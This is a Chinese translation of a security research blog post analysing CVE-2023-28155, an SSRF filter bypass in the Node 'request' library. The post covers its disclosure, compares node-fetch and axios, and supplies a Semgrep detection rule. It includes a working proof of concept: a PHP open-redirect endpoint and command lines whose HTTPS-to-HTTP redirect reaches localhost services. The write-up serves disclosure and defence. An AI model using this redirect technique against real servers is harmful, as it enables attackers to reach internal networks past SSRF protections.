SSRF跨协议重定向绕过漏洞分析与防护

本文详细分析了SSRF跨协议重定向绕过漏洞的成因,通过实际案例展示了如何利用HTTPS到HTTP的协议转换绕过防护,并对比了不同HTTP库的防护机制,最后提供了Semgrep检测规则。

SSRF跨协议重定向绕过

2023年3月16日 - 作者:Szymon Drosdzol

服务器端请求伪造(SSRF)是一个相当知名的漏洞,已有成熟的防护方法。因此,当我在常规复测中绕过SSRF防护措施时,我感到非常惊讶。更糟糕的是,我绕过了我们自己推荐的过滤器!我不能让这件事就此过去,必须彻底调查这个问题。

引言

服务器端请求伪造是一种漏洞,恶意攻击者利用受害服务器代表攻击者执行HTTP(S)请求。由于服务器通常可以访问内部网络,这种攻击可用于绕过防火墙和IP白名单,访问攻击者原本无法访问的主机。

请求库漏洞

假设没有过滤器绕过,SSRF攻击可以通过地址过滤来防止。经典的SSRF过滤绕过技术之一是重定向攻击。在这些攻击中,攻击者设置一个恶意Web服务器,提供一个重定向到内部地址的端点。受害服务器允许向外部服务器发送请求,但随后盲目跟随恶意重定向到内部服务。

当然,以上内容都不是新的。所有这些技术已经存在多年,任何知名的反SSRF库都能缓解此类风险。然而,我还是绕过了它。

客户的代码是一个为集成创建的简单端点。在最初的测试中,根本没有过滤。经过我们的测试后,客户应用了一个反SSRF库ssrfFilter。出于研究和代码匿名化的目的,我将逻辑提取到一个独立的NodeJS脚本中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
const request = require('request');
const ssrfFilter = require('ssrf-req-filter');

let url = process.argv[2];
console.log("Testing", url);

request({
    uri: url,
    agent: ssrfFilter(url),
}, function (error, response, body) {
    console.error('error:', error);
    console.log('statusCode:', response && response.statusCode);
});

为了验证重定向绕过,我创建了一个简单的PHP Web服务器,其中包含一个开放重定向端点,并使用我的测试域名tellico.fun托管在互联网上:

1
<?php header('Location: '.$_GET["target"]); ?>

初始测试表明漏洞已被修复:

1
2
3
$ node test-request.js "http://tellico.fun/redirect.php?target=http://localhost/test" 
Testing http://tellico.fun/redirect.php?target=http://localhost/test
error: Error: Call to 127.0.0.1 is blocked.

但是,当我切换协议后,突然又能访问本地主机服务了。读者应仔细查看有效载荷,因为差异很小:

1
2
3
4
$ node test-request.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
error: null
statusCode: 200

发生了什么?攻击者服务器将请求重定向到另一个协议——从HTTPS到HTTP。这就是绕过反SSRF保护所需的全部。

为什么会这样?在深入研究流行的请求库代码库后,我在lib/redirect.js文件中发现了以下行:

1
2
3
4
// handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
  delete request.agent
}

根据上面的代码,任何时候重定向导致协议切换,请求代理都会被删除。没有这个变通方法,每当服务器导致跨协议重定向时,客户端都会失败。这是必需的,因为本机NodeJs http(s).agent不能同时用于两种协议。

不幸的是,这种行为也会丢失与代理关联的任何事件处理。鉴于SSRF预防基于代理的createConnection事件处理程序,这种意外行为影响了请求库中SSRF缓解策略的有效性。

披露

此问题于2022年12月5日向维护者披露。尽管我们尽了最大努力,但尚未收到确认。经过90天的期限后,我们决定发布完整的技术细节以及一个公共Github问题,链接到一个修复的拉取请求。2023年3月14日,为此漏洞分配了一个CVE ID。

  • 2022年12月5日 - 首次向维护者披露
  • 2023年1月18日 - 再次尝试联系维护者
  • 2023年3月8日 - 创建Github问题,不含技术细节
  • 2023年3月13日 - 分配CVE-2023-28155
  • 2023年3月16日 - 完整技术细节披露

其他库

既然 supposedly universal filter 结果如此依赖于HTTP(S)客户端的实现,很自然地要问其他流行库如何处理这些情况。

Node-Fetch

node-Fetch库也允许在其选项中覆盖HTTP(S)代理,而不指定协议:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
const ssrfFilter = require('ssrf-req-filter');
const fetch = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));

let url = process.argv[2];
console.log("Testing", url);

fetch(url, {
    agent: ssrfFilter(url)
}).then((response) => {
    console.log('Success');
}).catch(error => {
    console.log('${error.toString().split('\n')[0]}');
});

与请求库相反,它在跨协议重定向的情况下直接失败:

1
2
3
$ node fetch.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
TypeError [ERR_INVALID_PROTOCOL]: Protocol "http:" not supported. Expected "https:"

因此,无法对此库执行类似的攻击。

Axios

axios库的选项允许分别覆盖两种协议的代理。因此,以下代码受到保护:

1
2
3
4
axios.get(url, {
    httpAgent: ssrfFilter("http://domain"),
    httpsAgent: ssrfFilter("https://domain")
})

注意:在Axios库中,必须在代理覆盖期间硬编码URL。否则,其中一个代理将被错误协议的代理覆盖,跨协议重定向将类似于node-fetch库那样失败。

尽管如此,axios调用仍然可能易受攻击。如果忘记覆盖两个代理,跨协议重定向可以绕过过滤器:

1
2
3
4
axios.get(url, {
    // httpAgent: ssrfFilter(url),
    httpsAgent: ssrfFilter(url)
})

这种错误配置很容易被忽略,因此我们创建了一个Semgrep规则来捕获JavaScript代码中的类似模式:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
rules:
  - id: axios-only-one-agent-set
    message: Detected an Axios call that overwrites only one HTTP(S) agent. It can lead to a bypass of restriction implemented in the agent implementation. For example SSRF protection can be bypassed by a malicious server redirecting the client from HTTPS to HTTP (or the other way around).
    mode: taint
    pattern-sources:
      - patterns:
        - pattern-either:
            - pattern: |
                {..., httpsAgent:..., ...}
            - pattern: |
                {..., httpAgent:..., ...}
        - pattern-not: |
                {...,httpAgent:...,httpsAgent:...}
    pattern-sinks:
      - pattern: $AXIOS.request(...)
      - pattern: $AXIOS.get(...)
      - pattern: $AXIOS.delete(...)
      - pattern: $AXIOS.head(...)
      - pattern: $AXIOS.options(...)
      - pattern: $AXIOS.post(...)
      - pattern: $AXIOS.put(...)
      - pattern: $AXIOS.patch(...)
    languages:
      - javascript
      - typescript
    severity: WARNING

总结

如上所述,我们在流行的请求库中发现了一个可 exploited 的SSRF漏洞。尽管这个包已被弃用,但这个依赖仍被超过50,000个项目使用,每周下载量超过1800万次。

我们展示了攻击者如何通过简单地将请求重定向到另一个协议(例如HTTP到HTTPS)来绕过注入此库的任何反SSRF机制。虽然我们审查的许多库确实提供了对此类攻击的保护,但其他库(如axios)在存在类似错误配置时可能容易受到攻击。为了使这些问题更容易发现和避免,我们还发布了内部的Semgrep规则。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计